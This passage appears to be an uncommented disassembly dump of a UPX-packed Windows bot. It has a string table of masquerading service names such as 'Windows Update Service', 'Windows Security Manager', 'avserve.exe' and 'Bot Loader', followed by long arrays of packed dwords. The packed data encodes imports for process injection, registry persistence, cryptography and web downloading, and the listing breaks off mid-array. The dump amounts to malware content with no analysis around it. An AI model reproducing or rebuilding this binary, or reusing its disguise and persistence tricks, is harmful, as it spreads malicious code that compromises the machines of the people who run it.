'MS Config v13',0 ; DATA XREF: sub_316029B2+4Eo align 4 aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_316029B2+47o align 4 aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_316029B2+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_316029B2+39o align 4 aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_316029B2+32o align 4 aSystray db 'SysTray',0 ; DATA XREF: sub_316029B2+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_316029B2+24o align 4 aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_316029B2+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_316029B2+16o align 4 aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_316029B2+Fo align 4 a1: ; DATA XREF: sub_31602B2C+B7o unicode 0, <1>,0 dd 8 dup(0) dword_31604FC8 dd 0 ; sub_3160219E+80w dword_31604FCC dd 0 ; sub_3160169C+64o ... dword_31604FD0 dd 0 ; sub_31602058:loc_31602106r ... dword_31604FD4 dd 68h ; UPX0:31602336w ... dword_31604FD8 dd 0 ; sub_3160238C+C0w dword_31604FDC dd 0 ; sub_316026DE+20r dword_31604FE0 dd 31600000h ; UPX0:3160231Bw dword_31604FE4 dd 0 ; sub_3160169C+5Bo ... dword_31604FE8 dd 0 ; UPX0:3160278Dw word_31604FEC dw 0 ; DATA XREF: sub_3160252B+3Br ; sub_3160258F:loc_316025F0r ... align 10h dword_31604FF0 dd 0 ; sub_31602B2C+110w align 10h UPX0 ends ; Section 2. (virtual address 00005000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00005000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31605000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 0C4h, 40h, 72695601h, 6C617574h, 65657246h, 69560100h dd 61757472h, 6C6C416Ch, 100636Fh, 4D746547h, 6C75646Fh dd 6C694665h, 6D614E65h, 1004165h, 7274736Ch, 69706D63h dd 43010041h, 4679706Fh, 41656C69h, 69570100h, 6578456Eh dd 43010063h, 74616572h, 6F6F5465h, 6C65686Ch, 53323370h dd 7370616Eh, 746F68h, 6F725001h, 73736563h, 69463233h dd 747372h, 72655401h, 616E696Dh, 72506574h, 7365636Fh dd 50010073h, 65636F72h, 32337373h, 7478654Eh, 736C0100h dd 70637274h, 1004179h, 61657243h, 76456574h, 41746E65h dd 61570100h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 44010074h, 74656C65h, 6C694665h, 1004165h, 74697257h dd 6C694665h, 43010065h, 65736F6Ch, 646E6148h, 100656Ch dd 61657243h, 69466574h, 41656Ch, 74736C01h, 6E656C72h dd 6C010041h, 63727473h, 417461h, 74654701h, 74737953h dd 69446D65h, 74636572h, 4179726Fh, 65470100h, 636F4C74h dd 49656C61h, 416F666Eh, 6C530100h, 706565h, 746E4901h dd 6F6C7265h, 64656B63h, 68637845h, 65676E61h, 736C0100h dd 70637274h, 416E79h, 74654701h, 72727543h, 50746E65h dd 65636F72h, 1007373h, 50746547h, 41636F72h, 65726464h dd 1007373h, 64616F4Ch, 7262694Ch, 41797261h, 72570100h dd 50657469h, 65636F72h, 654D7373h, 79726F6Dh, 704F0100h dd 72506E65h, 7365636Fh, 47010073h, 6F4D7465h, 656C7564h dd 646E6148h, 41656Ch, 74654701h, 6B636954h, 6E756F43h dd 43010074h, 74616572h, 74754D65h, 417865h, 65724301h dd 54657461h, 61657268h, 43010064h, 74616572h, 6F725065h dd 73736563h, 53010041h, 76457465h, 746E65h, 65704F01h dd 6576456Eh, 41746Eh, 69784501h, 72685474h, 646165h, 746E4901h dd 6F6C7265h, 64656B63h, 72636E49h, 6E656D65h, 52010074h dd 46646165h, 656C69h, 74654701h, 656C6946h, 657A6953h dd 78450100h, 72507469h, 7365636Fh, 47010073h, 614C7465h dd 72457473h, 726F72h, 0D100h, 0 dd 65520100h, 65724367h, 4B657461h, 78457965h, 52010041h dd 65536765h, 6C615674h, 78456575h, 52010041h, 75516765h dd 56797265h, 65756C61h, 417845h, 67655201h, 6E65704Fh dd 4579654Bh, 1004178h, 44676552h, 74656C65h, 6C615665h dd 416575h, 67655201h, 736F6C43h, 79654B65h, 62410100h dd 5374726Fh, 65747379h, 7568536Dh, 776F6474h, 100416Eh dd 70797243h, 65724374h, 48657461h, 687361h, 79724301h dd 61487470h, 61446873h, 1006174h, 70797243h, 72655674h dd 53796669h, 616E6769h, 65727574h, 43010041h, 74707972h dd 74736544h, 48796F72h, 687361h, 79724301h, 65447470h dd 6F727473h, 79654B79h, 72430100h, 52747079h, 61656C65h dd 6F436573h, 7865746Eh, 43010074h, 74707972h, 75716341h dd 43657269h, 65746E6Fh, 417478h, 79724301h, 6D497470h dd 74726F70h, 79654Bh, 0DE00h, 0EC00h, 72730100h, 646E61h dd 6D656D01h, 797063h, 72747301h, 6E656Ch, 6D656D01h, 746573h dd 6E617201h, 5F010064h, 65637865h, 685F7470h, 6C646E61h dd 337265h, 72747301h, 727473h, 72747301h, 726863h, 0E900h dd 11000h, 69460100h, 6957646Eh, 776F646Eh, 47010041h dd 6F467465h, 72676572h, 646E756Fh, 646E6957h, 100776Fh dd 57746547h, 6F646E69h, 72685477h, 50646165h, 65636F72h dd 64497373h, 73770100h, 6E697270h, 416674h, 0F400h, 12400h dd 6E490100h, 6E726574h, 704F7465h, 72556E65h, 100416Ch dd 65746E49h, 74656E72h, 6E65704Fh, 49010041h, 7265746Eh dd 4374656Eh, 65736F6Ch, 646E6148h, 100656Ch, 65746E49h dd 74656E72h, 43746547h, 656E6E6Fh, 64657463h, 74617453h dd 49010065h, 7265746Eh, 5274656Eh, 46646165h, 656C69h dd 10000h, 13C00h, 73FF00h, 0FF0002FFh, 1FF000Dh, 39FF00h dd 0FF006FFFh, 17FF0034h, 0CFF00h, 0FF0009FFh, 13FF0004h dd 10FF00h, 0FF0016FFh, 3, 50000000h, 4C000045h, 201h dd 40D5FDh, 0 dd 0E0000000h, 0B010F00h, 601h, 26h, 10h, 0E000000h, 23h dd 10h, 40h, 316000h, 10h, 4000002h, 0 dd 4000000h, 2 dup(0) dd 50h, 4, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 2 dup(0) dd 0F4000000h, 8C00002Ch, 15h dup(0) dd 7C000010h, 1, 5 dup(0) dd 2E000000h, 74786574h, 16000000h, 24h, 10h, 26h, 4, 2 dup(0) dd 20000000h, 2EE00400h, 61746164h, 0F4000000h, 0Fh, 40h dd 10h, 2Ah, 2 dup(0) dd 40000000h, 0C00000h, 0FC000040h, 0C300002Eh, 4D000044h dd 0A0024A19h, 86954868h, 2162017h, 0BB217D03h, 0A73DB9AEh dd 769F6801h, 0E44A20E6h, 3AB73666h, 1B5AB7CCh, 77684E0h dd 6A3DB9A4h, 96F42A70h, 39C8608Ch, 5E364719h, 7A97640Ah dd 2ECD0084h, 0A228F0D9h, 3C4B003Fh, 59B2A76Ch, 98C8B2CBh dd 0EC0167E2h, 0DC23BDE8h, 57E500Fh, 90C6150Dh, 0DBA0B0Fh dd 0C9D328C0h, 0C4E33B73h, 4E54908h, 88DB0C7Ah, 0F8492114h dd 0BF762DC5h, 1CD66C84h, 0DE402EDBh, 1B4C7012h, 4440E7B0h dd 4440BCF8h, 9C64358h, 101BDE50h, 0BD64EF1Eh, 0D94B7CDh dd 0F9812197h, 0AD9FA7ACh, 80E87CFBh, 1624A5h, 52682506h dd 1C969D1Ch, 761CC96Ch, 0D96F412h, 3F2677A7h, 6A6E0AEFh dd 0C7BC87Ch, 92C78F0Fh, 7BC9BE49h, 64776454h, 2490E192h dd 498C9FE9h, 0BB73330Dh, 0EDCF7824h, 0B0F88248h, 0C9014B0h dd 266F415h, 8CCC66A1h, 7408707Ah, 3E264E5Eh, 5FF4743Ah dd 761C2BA6h, 8602CFBEh, 0A87F24E4h, 0F805A435h, 0D741E06Ch dd 37571282h, 0C45A7457h, 142B2FE4h, 4B74F80Eh, 4C25A068h dd 0A8A4A2DDh, 0A3073D74h, 0A59FB616h, 0FFA04120h, 0E80FFC55h dd 0D6EAE4B9h, 0AC507B5Ch, 0F00E9628h, 356CC002h, 0F85521FDh dd 0E48C0009h, 0EC4EC1F0h, 2EF47558h, 0D8B1887h, 1C5BFFE0h dd 983D072h, 573C418Bh, 2C68C103h, 0FB64BE4Dh, 34488B77h dd 8950788Bh, 0B4A0F44Dh, 9A1C68D8h, 1BE062A5h, 1F0CFD8h dd 0A5D97C3Bh, 120868ACh, 0DED74ECh, 18DB26D7h, 8211101Ch dd 5914090Eh, 0FDA746F8h, 51F84DCBh, 0C5181850h, 971762C6h dd 0B0632A68h, 0E96345Dh, 3CA1A4Ah, 0D6ED346Bh, 30EB6C0Eh dd 5559AB19h, 0ADD47DF0h, 0CCDD5389h, 51F03E45h, 0BA967C4Fh dd 0F853500Bh, 8CD435ACh, 9E0F13D6h, 6A17FA70h, 0D5B177D0h dd 0EC55FEA6h, 574C73Bh, 991BEB32h, 61736E4Ch, 5986688Bh dd 0EB05FC0Eh, 35480807h, 0EF747343h, 46390949h, 517A1B86h dd 0F600951h, 83366931h, 0D8512C8h, 0ACDDB825h, 0AF6D0AEBh dd 0ECB213B1h, 672D590Fh, 0C244CEBAh, 0BCB66AF9h, 12C49D3Ch dd 500C80B7h, 507D50A8h, 0D35852E9h, 195DC02Ch, 2DE27C20h dd 0B5431166h, 1914247Ch, 0B3D46E2Ch, 96177EEBh, 0FFAB261Ah dd 61C280FFh, 461E1488h, 0E97CF73Bh, 3B2480h, 0DE335466h dd 4465AEB6h, 0AC5A5F2Eh, 0E9DB5657h, 66A980C0h, 0DC732FA9h dd 776C44B7h, 501950F0h, 0ACAA0056h, 0A01E1C77h, 27C49509h dd 746449F4h, 0FA687B5Bh, 0C7FFF00Ch, 4CB64F08h, 0CC3434DBh dd 754C2E2Ah, 0CD6B9D0Ah, 0BC500A6Ch, 54181A20h, 9F0B00Bh dd 7FB807C6h, 404E013Bh, 0ED6F8E76h, 1008B0Ch, 448D5108h dd 30215F24h, 0DB09A711h, 5903D32Ch, 43A10724h, 0CC15C277h dd 0C82007BBh, 0DB32332Fh, 0C8E49E3Fh, 10E7C1F8h, 86A30B85h dd 9033CDh, 125D8B02h, 3807CD33h, 9CDB8072h, 480CF69Eh dd 0BDC65356h, 1C454011h, 2AABD9ADh, 0EC83C325h, 220135B4h dd 17B5ADE7h, 0F2033366h, 359541F0h, 198DD868h, 683D9877h dd 0D044B76Ch, 366474Fh, 54FECD8Bh, 9D14A54Dh, 0DAE1662Eh dd 0F7007C54h, 34D7E06Fh, 0B933A1h, 3BC72B79h, 8B0272C1h dd 7B94E1C1h, 292B5DBBh, 318C8A1h, 19AC23C7h, 0A6B7F12Dh dd 1172233Dh, 4FF8786Ah, 0E146D18Bh, 0E113C4EBh, 37114650h dd 0D467B279h, 6815941Eh, 166D0B3Ch, 6803726Bh, 3A3C9738h dd 0ACEB31F4h, 52535453h, 48CD083h, 9824623Fh, 30FD04C2h dd 0D1F6C121h, 0B1D1F457h, 5D0DE2D0h, 9C68F53Bh, 6F7C84Eh dd 89806868h, 89DEEDB6h, 1827841Dh, 0C014EC4Ah, 3DADB3D4h dd 6B00F275h, 1027B53h, 0D26B543Ah, 7780C504h, 0A39ACD28h dd 741A4D0Ch, 0E1D59D2Fh, 0A3DCCDD9h, 6BA33F0Ch, 0FEE9784Ch dd 5153FCA4h, 333A8656h, 0D8674B62h, 0F9265668h, 70FBE369h dd 0C258195Eh, 0C05E0510h, 0A8499A5Eh, 0E80C4B56h, 0DDEC5D89h dd 0D93BFB7h, 0FF25FF05h, 0C33A041Fh, 7443DCA3h, 837FA126h dd 0CC8A1FE7h, 0DF74C984h, 16EA6B50h, 42F57C66h, 65A54039h dd 90AFA664h, 7B440CE9h, 0C714F85Fh, 0D8BE8FEAh, 689E481Fh dd 0F092058h, 670A1228h, 53E2EB2Fh, 43455FCFh, 0E60B30EBh dd 0AE700190h, 0DA1E333Ch, 0D6B0DD66h, 0E6023E11h, 3CD86DD6h dd 0B4803A98h, 0A3ABB068h, 0C11580E0h, 7C74E08Ch, 66C3047Bh dd 1AD4A3ECh, 52B73DE4h, 0F766C045h, 0D29E0ECh, 0AE19043Eh dd 4C34281Bh, 23BAB670h, 0EBEDC613h, 4FB5FB1Ah, 99881386h dd 44D83569h, 60939070h, 694039B0h, 2C134490h, 665CD225h dd 9B91C845h, 6EF61A1h, 40A0489Ch, 0E472391Ch, 30A838A4h dd 20B028ACh, 8E472391h, 14B818B4h, 723910BCh, 0CC0C8E4h dd 4C808C4h, 8E4700CCh, 0F8D01E7Ch, 0D8F4D44Dh, 2DECDCF0h dd 0E02391CCh, 79E4E4E8h, 70045B35h, 6CC52904h, 6DCBC6A3h dd 0FCA2D0EBh, 8839402h, 0B7261273h, 94D2E01Bh, 8E988533h dd 0CFF5924h, 0C26CE8EBh, 0C1A6721h, 0E61A4EB8h, 39685F83h dd 68397479h, 0A89D4DD4h, 4DB19313h, 64DCC29h, 242E5FC4h dd 0BC0DBA4Ch, 5C930A8Ch, 0DE12FC8Eh, 219E6857h, 169C0E0Fh dd 45C1E33Ah, 80342790h, 0D21E5174h, 0B414AE87h, 1388EA18h dd 24E3EB8Eh, 65093C28h, 61A12615h, 247031B6h, 0A4805547h dd 1F0AAD7Fh, 8A519F01h, 5C900B45h, 0EC380C1Eh, 52DB32FFh dd 3831A43Ah, 108FEE5Dh, 8825DCDFh, 79E0B5Dh, 35B70FD7h dd 0C067A4ECh, 99A6019Fh, 0D603FEF7h, 0D976FE8Fh, 80C3FE32h dd 0BD72FFFBh, 7662AC5Eh, 0C09D935Fh, 3361F6A4h, 0B61D5868h dd 84F21C2h, 631B0A81h, 5DCDACD8h, 75810B09h, 4DA49672h dd 0C50F75B0h, 891E252Bh, 0CED6F20Fh, 0FF84323Dh, 8143D703h dd 86DF38FBh, 9F88155Ah, 0D35D875Fh, 419D8B35h, 0A24C737Bh dd 2B9E04B6h, 73F22FD8h, 0DF3C5BCDh, 0FEFF04FDh, 887F3CE8h dd 362DB0F7h, 8BCF6B7Eh, 0DCE53B08h, 59D93BAAh, 0A0A33EECh dd 572F9E57h, 12CF6C9Ch, 59F8C801h, 0B7128F13h, 0ADFF8712h dd 0E4EE75B3h, 0F0D64761h, 0A6271068h, 9ED3BED3h, 0E0E0C04Bh dd 0A91F7084h, 2956B142h, 0B4374E08h, 30197A8Fh, 9C5C5C5Dh dd 7CCF6DE4h, 0DC2C3EF0h, 0CBB0030Bh, 456C180Dh, 11102D4Eh dd 0AB01DF19h, 6C42BA77h, 0B80C6FBh, 2EC2C0DFh, 55612B5Ch dd 63579356h, 76B3BC06h, 5105E6E4h, 0C34330E2h, 0FD1F0CA5h dd 483776F4h, 5314546Ch, 20BF653h, 0ED38506Ah, 0E8CD02DFh dd 0D2051E5Dh, 18740096h, 1C6B9809h, 10F3117Ah, 0EC281905h dd 14384Eh, 1606D84Fh, 0EDAAADAh, 74AF9F84h, 0C7D5530Dh dd 0F0D1051h, 39031108h, 3A18244Ch, 36C3B6EDh, 7EED85F4h dd 26179711h, 0EF144D2Ch, 0C3BB60C9h, 0EBA20596h, 0B4750DF2h dd 652DC583h, 68ECDDEBh, 646333Fh, 880D5C0Bh, 0B3BE150Ch dd 6E9B0B11h, 1C140810h, 21843A5Dh, 5618D951h, 96C6C2EEh dd 0F6182985h, 703D563Eh, 74E3188Eh, 610D2ADCh, 2DBA5964h dd 102050C5h, 17E20818h, 9C03E05Bh, 8B550F5Eh, 6BAD6C6h dd 2EFFD3CDh, 0C4532C56h, 56764C80h, 0C8270055h, 1722D672h dd 40C520Ah, 1C931679h, 28A15D0Ch, 1C4F1501h, 13DE5306h dd 9FB78B4Eh, 948E35B8h, 5C1E3C26h, 0F7794E36h, 0F10EB7F6h dd 1FE8CBC1h, 7687AA4h, 3578B64Bh, 0D0E6D84Ch, 10B3408Bh dd 0E0D92007h, 1C9B27BBh dd 8D477DE2h, 6D011E74h, 1307FBFCh, 101456E8h, 0E0B5FF1Ch dd 0BC82E645h, 0FFF37D4h, 0D08521Fh, 60CCCD87h, 76DC4650h dd 0CE81C2BDh, 38B7895Ch, 8D8E0F75h, 57D0E06Ch, 744F88AFh dd 0C85CD806h, 0DC472391h, 0E448E050h, 723CF93Ch, 0EC24E8E4h dd 4EFCF018h, 9A2FECF4h, 7DB08326h, 744FBF0Ah, 0BE9C4C2Ch dd 188B69E4h, 2C8A3459h, 5D9FC828h, 7B06C17Dh, 150E1775h dd 89F60B1Dh, 37354C9Ah, 75B68E83h, 8C1361A5h, 55788114h dd 0B3AD0974h, 74188FE8h, 636A8844h, 67027FA3h, 0A184A717h dd 3E0831Bh, 5E95C083h, 420582F4h, 72105292h, 0C8C2170Dh dd 3BDCFD10h, 0CC3DDC8Bh, 300E26D6h, 14CC387Bh, 6150E138h dd 59DE84D0h, 2C20408Dh, 96F99598h, 71A3C62Ah, 0B3660D9Fh dd 541441C4h, 0A61E01F4h, 7A3424Bh, 562E84E0h, 0DC64812Ch dd 8310DBC5h, 0C7481F7Dh, 0F0254414h, 2FEF8452h, 6AE09E80h dd 0C4BF501Dh, 0C151E871h, 3F3081EAh, 0EC1C3774h, 0AD030AFh dd 0D1B86CBBh, 0C5F45352h, 5503306h, 0ED3D53BCh, 389BF735h dd 590FEBB1h, 2DB632CEh, 689D020Bh, 0E81AE2E0h, 266581C6h dd 0D1A468BBh, 66E768E0h, 0B9BB46CBh, 0AF5C1A0Dh, 0D71AC166h dd 354C125Eh, 49D8DE12h, 0BBC631E7h, 0C823FD3Bh, 0AE2C1996h dd 16C507F0h, 0C4816F2h, 0A66015EBh, 0CDA3101Ch, 0F03C0409h dd 485743D5h, 3B44330Ch, 8B678B68h, 136A767Dh, 0ECFF4011h dd 53373C8Ch, 10F8051Ch, 48D4F0F4h, 0CCD60Dh, 8F8D8151h dd 0FB2FBEFDh, 0E9811472h, 85042D0Bh, 0EC731701h, 0F56FB62Bh dd 0C48BC8EDh, 8BE18B0Ch, 5004D008h, 6443CCC3h, 46C6C6C2h dd 4958055Ch, 45800000h, 97F100A0h, 65451E6h, 53522402h dd 0E296EFFFh, 0CA803141h, 8DF50101h, 52791183h, 3AE42AECh dd 0FFFFE7F6h, 9B49FFFFh, 0AFBEE0EAh, 447EDB21h, 615E1A95h dd 1F85A032h, 0FF949F6Ah, 0A6843994h, 0CE358F26h, 0FFFF5C1Dh dd 0C9A5FF43h, 657AB20Bh, 4D373072h, 6C697A6Fh, 342F616Ch dd 2820302Eh, 6B7F6F63h, 706DFFFFh, 62697461h, 203B656Ch dd 4549534Dh, 9153620h, 646E6957h, 8177776Fh, 2073FFBAh dd 3520544Eh, 3429312Eh, 0D400C9E4h, 0BE79E704h, 0B4C40167h dd 8090A00Eh, 0BEFBE79Eh, 0E680474h, 3C480958h, 0EC9B2674h dd 4530D479h, 6F102220h, 4AF9E7C8h, 40F80030h, 0B6B7B613h dd 767663FDh, 7E75722Eh, 65070077h, 65976C64h, 0C6DFEF6Fh dd 65C1660Fh, 72616573h, 1F0E6863h, 6F626F72h, 6FFE5737h dd 61686378h, 1FD2676Eh, 720C7465h, 8DB02E64h, 6962FB7Ch dd 2861007Ah, 616B6863h, 6D740C6Dh, 6BB1737h, 24782Dh dd 0E6F6C06h, 6DB7DE62h, 476B37B6h, 7A027626h, 1B76742Eh dd 0DFB185B0h, 706F7411h, 69176E2Eh, 1F27730Fh, 3310ADB0h dd 610F788Dh, 0DB6C7564h, 74E1766Fh, 694B652Dh, 6F338072h dd 5873A66Eh, 4E6EDBE1h, 67622E74h, 3267694Fh, 0FBF6B6Fh dd 61777800h, 62626A2Ch, 99B00ADh, 7AF676DFh, 0A8616661h dd 23655D2Eh, 0FEDDAF5Ch, 626110FFh, 66656463h, 6A696867h dd 6E6D6C6Bh, 0FF7271C5h, 0F7BF8DFFh, 78777675h, 41547A79h dd 45444342h, 49484746h, 4D4C4B4Ah, 1F504F4Eh, 5197FB46h dd 57565554h, 1B5A5958h, 74746823h, 0FD81DCDFh, 2F2F3A70h dd 2F0B7325h, 702E9765h, 0DBF37068h, 0E3F85B7h, 73260F3Dh dd 64066E63h, 666E6926h, 0DBEDB948h, 313D3B76h, 74132638h dd 0B5DFA01Bh, 58EB3B07h, 3732313Dh, 3A3101A8h, 7303038h dd 2FDF646Ch, 0DFDF65h, 7F5DDFE8h, 33FFFEDBh, 0EEB966C9h dd 5758D01h, 68AFE8Bh, 4607993Ch, 46302C06h, 7F889934h dd 7FF41A1h, 0EBEDE247h, 0B9DAE80Ah, 2E6765DFh, 0FF999371h dd 0C9BFF6FFh, 0BDFD1201h, 716FD91h, 0AA6872C1h, 0AA66FD42h dd 14BA10FDh, 8F98A91Ch, 1A7FBADDh, 0F198F3C9h, 71028608h dd 5F9010C0h, 9FD87CCBh, 599237FDh, 3A781C96h, 7157E414h dd 713A0A7Dh, 6DF7DC45h, 0F19DF39Fh, 0F1098904h, 77119C04h dd 40E91FECh, 0E3F367B3h, 0DC1C10F0h, 6059B20Bh, 6F7FB1ECh dd 125C99Bh, 0A10414D9h, 9E71CA17h, 0B230BD2Bh, 61688D7Ch dd 0E21AAD91h, 6C111D96h, 289F6B7Bh, 0C850B2h, 57DC1499h dd 0FF122555h, 4EFF6EF6h, 1291C0A4h, 0F7ED9949h, 0C4140054h dd 71CBCA3Ah, 0EEEC3D3Bh, 24FF1C67h, 0CF1A21E4h, 668FCDCDh dd 64FFDD2Ch, 1E3F819Bh, 83B8B0FBh, 5D12CDC3h, 0ED93C9A8h dd 1DCBB37Ch, 0B24AD25h, 0FB264FF6h, 96A6485Ah, 4C1B14C0h dd 0F3EBA729h, 0BECFBA9Ch, 16E95D9Fh, 7126F434h, 0F90EFCF5h dd 0BBB37F3Bh, 29EF13FFh, 5F376B46h, 0EC4766DEh, 116A1A8h dd 7DFFC5B7h, 0EDFF7B08h, 0FDE9ECE9h, 2CE1FCB7h, 0FCF5CA01h dd 0EDFFFFFCh, 0FCF25ADFh, 0F5FCF7EBh, 0C7D6ABAAh, 59AAF934h dd 2A2A25B4h, 93ACC966h, 85B78190h, 902FFB3Fh, 0C983639Dh dd 309271CDh, 513519BFh, 7FFD914h, 0A95F761h, 712A9172h dd 0A5D2EBC8h, 0E180D512h, 6FAA529Ah, 0FFDA37F6h, 9A2A8D14h dd 8B12B9C8h, 0C3474A9Ah, 0DB9BAB9Eh, 0FF20A319h, 0ECFFFFEDh dd 0BDDDA26Ch, 0DF9EED85h, 0EB81E8A2h, 0C8125544h, 2E961FBDh dd 0D812EB8Dh, 584F9A85h, 125AFE68h, 5A9A099Dh, 0D096F810h dd 76664922h, 7FFDDB7Bh, 8712FEFDh, 95C25AA9h, 82128502h dd 0CB5A9104h, 0DA033FCDh, 857FCFF7h, 424D53FFh, 7FA51872h dd 0C853C84Eh, 62FEFFh, 83435002h, 0FFFF1ADFh, 4F575445h dd 50204B52h, 52474F52h, 31204D41h, 414C17CDh, 875A4D4Eh dd 0A026B14h, 0B41566ABh, 0B795BADDh, 0BB676B03h, 330E7075h dd 0B75BA5B0h, 4D27611Ah, 21583223h, 369A3232h, 2E32F953h dd 2018D631h, 464A323Ch, 0A48BC19Eh, 0DF600773h, 0C62D42Eh dd 40023FFh, 0D6140A11h, 20D8D46Eh, 69DBD405h, 244B4C00h dd 53F443F8h, 97B75053h, 4AE00882h, 8F6FC0BBh, 6E240057h dd 6F006400h, 3A730075h, 9B62F6F6h, 9013074h, 3500398Ch dd 0B6E60323h, 72E1D44h, 7901DA00h, 8AB644Eh, 9C19DA20h dd 9F579264h, 80F20003h, 46D8360Ch, 40074723h, 0F2373FFEh dd 10060006h, 8A151F01h, 48E088h, 0EC44004Fh, 0FE88DFFFh dd 0F27A6A19h, 281C49E4h, 742530AFh, 0E1536710h, 89BE429h dd 7575DF5Ch, 30E5B5CDh, 75C0400h, 5C085ABDh, 0EEBB91B1h dd 72E4D61h, 2E380036h, 6C4CD977h, 491B30BBh, 0E843EC00h dd 0C8073F00h, 6463D873h, 0F90708A2h, 4DCCB6Fh, 0FF1640h dd 0E00DEDEh, 19F1600h, 0B090984Dh, 28402602h, 0FBEE1A36h dd 8B110319h, 0D374D96Ch, 65DF2170h, 9C2A9B0Dh, 9EC0256Bh dd 109F4B6Dh, 1B04480Eh, 0EEBAEB6Eh, 5A541354h, 22596326h dd 0F9A4C75Ch, 45CB7DCFh, 58765h, 4810030Bh, 1EF62FFFh dd 0EB810B8h, 286A050Bh, 0B10C3919h, 0FF0B11D0h, 0A89BFF63h dd 0D94FC000h, 5D5FF52Eh, 1CEB8A88h, 0E89F11C9h, 91732B3Ch dd 4810ECBDh, 0F40CD160h, 21E460A3h, 0CA0E4AFh, 0CB10CA0h dd 191C9DFh, 880CA000h, 3C230040h, 9F7C9h, 703ECh, 4F401495h dd 36452F7Ch, 0BF4070D8h, 13430700h, 136447FEh, 138578h dd 0E9A65BABh, 204E7813h, 2FF810CFh, 860EFEFFh, 23C6A2C1h dd 8408BE40h, 0E93EE9Fh, 10B94388h, 0B801FFEEh, 93C9B310h dd 0AD200C27h, 0AF2C070Dh, 0F7F0F90h, 700118D8h, 0F92BC87Ch dd 0F840F84h dd 0F2000F95h, 28037E4h, 6C0F847Fh, 3C25560Fh, 0A89A006Ch dd 4460496Fh, 1F1343F6h, 0FE560536h, 50586E69h, 725020h dd 227E4446h, 3901D9E4h, 123C6B32h, 6B027515h, 4149E420h dd 941C0053h, 0D910E57Fh, 0C606EB01h, 0CB255C5Ch, 73FCDFFFh dd 6370695Ch, 0EC816624h, 0E4FF071Ch, 44655300h, 67756265h dd 0A8C7D169h, 678576A9h, 6A6441A7h, 64CDB775h, 6F5461BFh dd 176E656Bh, 126F4C73h, 0EDFB7075h, 615624FEh, 4165756Ch dd 28704F17h, 5224636Fh, 736C6A47h, 76430034h, 951B3F61h dd 0E333C18Ah, 0DF6D4C79h, 29288168h, 545F1165h, 0A96D6172h dd 5779C4AEh, 31431735h, 0DCEA1A61h, 6852A96Dh, 6854056Fh dd 5B56140Ch, 73951ADBh, 284158DBh, 6B3D454Fh, 7778A99Bh dd 47356E3Ah, 44B8F3F5h, 481E2FA3h, 7F505454h, 9532203Ch dd 5797EF7Ah, 0D4B4F20h, 9F4B010Ah, 0ADDB56FBh, 4C2D0244h dd 3A2D6704h, 18752520h, 3652C3DAh, 7954282Fh, 0D5B533B5h dd 70A326D6h, 15836386h, 6AD4754Fh, 2DC7022Fh, 8C5A7293h dd 9FC972B5h, 3D004757h, 2B151ADAh, 0E564F6F4h, 0D2BFDA16h dd 6D8D73CBh, 0A9637673h, 5BBE77CBh, 0F1695A9Ch, 175F3203h dd 3174D375h, 7B5E7D7h, 0E9363703h, 354D764Eh, 69331B34h dd 0E4320333h, 31A696EBh, 38133930h, 4190373Bh, 7361B06h dd 6413435h, 32336419h, 84D4AD31h, 0E77830D4h, 0ADCDC03Ah dd 0AF67FFCAh, 54464F53h, 45524157h, 0F5694D5Ch, 0B62C1F86h dd 0B35CCB6Fh, 7275435Ch, 1C580972h, 0D056B6EEh, 525CFE73h dd 0FDD0B875h, 5576861Dh, 67279BF0h, 7264736Eh, 6E57796Ah dd 6523B7B2h, 495300EEh, 96C305F2h, 6C0E57B0h, 6E6E8B39h dd 57520AE5h, 534449EFh, 875C4320h, 673A01BBh, 17F57620h dd 9EE64876h, 325CADBDh, 5320639Dh, 642C4410h, 1B65D92Fh dd 3F23871Ah, 17B7337Eh, 73798312h, 0AC42004Ch, 3F1B1A35h dd 233D9B20h, 8D6A1513h, 206D1B5Bh, 6D8E0654h, 3780C02Ch dd 0EA20BC44h, 9EC96C66h, 6D672FBBh, 24632A9Ch, 0F6B11363h dd 74690A2Fh, 614D2079h, 0DE1A1E6Eh, 0B08A6BA7h, 408BC400h dd 1836DE32h, 65A846ECh, 80DDF90Ch, 470DDB1Bh, 876F4D53h dd 0B7014665h, 4E6B374Dh, 1686D61h, 6372D36Ch, 0AE0BBDCEh dd 70530A95h, 0C50A1979h, 4B724D2Eh, 4E326528h, 6C6C6F81h dd 679A36D4h, 0CC538C70h, 0B5A688Ah, 191B2B52h, 7332129Ch dd 0C715D4CDh, 358F540Fh, 0C2D8182Ch, 4E210580h, 0CF69747Ch dd 612DB0F0h, 76455441h, 0B6DE6B33h, 26618585h, 3C535746h dd 624F7B67h, 4335866Ah, 442C76D7h, 168D22F5h, 48198B9Ah dd 0CFC83A0Bh, 0F7B25E48h, 0C645216h, 45E2447h, 8DB0EF7h dd 5A61D26Eh, 0ACC2BBF0h, 4644E3A1h, 1479BC63h, 0B1B75BD8h dd 492B1FB5h, 530F6F42h, 32DC6509h, 670B61Ch, 1C26C049h dd 9B314564h, 0B328166Ch, 73D6366Eh, 0E0DC82C9h, 8DDA0B12h dd 0CC8D623Fh, 694C2F0Fh, 0DAE0E62h, 0B5677B36h, 7C824D2Bh dd 6AC04202h, 0B68ED513h, 0CFCD9ED0h, 81695463h, 25657588h dd 0DEB0EBA1h, 3478E94Dh, 66CD92F6h, 0C45D0DD2h, 59843C39h dd 5A624F84h, 4B527845h, 0DF31ACD8h, 0C1375E0Ah, 2D90B58Dh dd 7B591B52h, 3C2ECD81h, 657A8608h, 0AD1BA738h, 154CC42Dh dd 6FC3FC45h, 0FB3F3BD1h, 0A1673A26h, 4579654Bh, 4587610h dd 0FC1869Ch, 0BD800A51h, 11F6B584h, 0B30E309Eh, 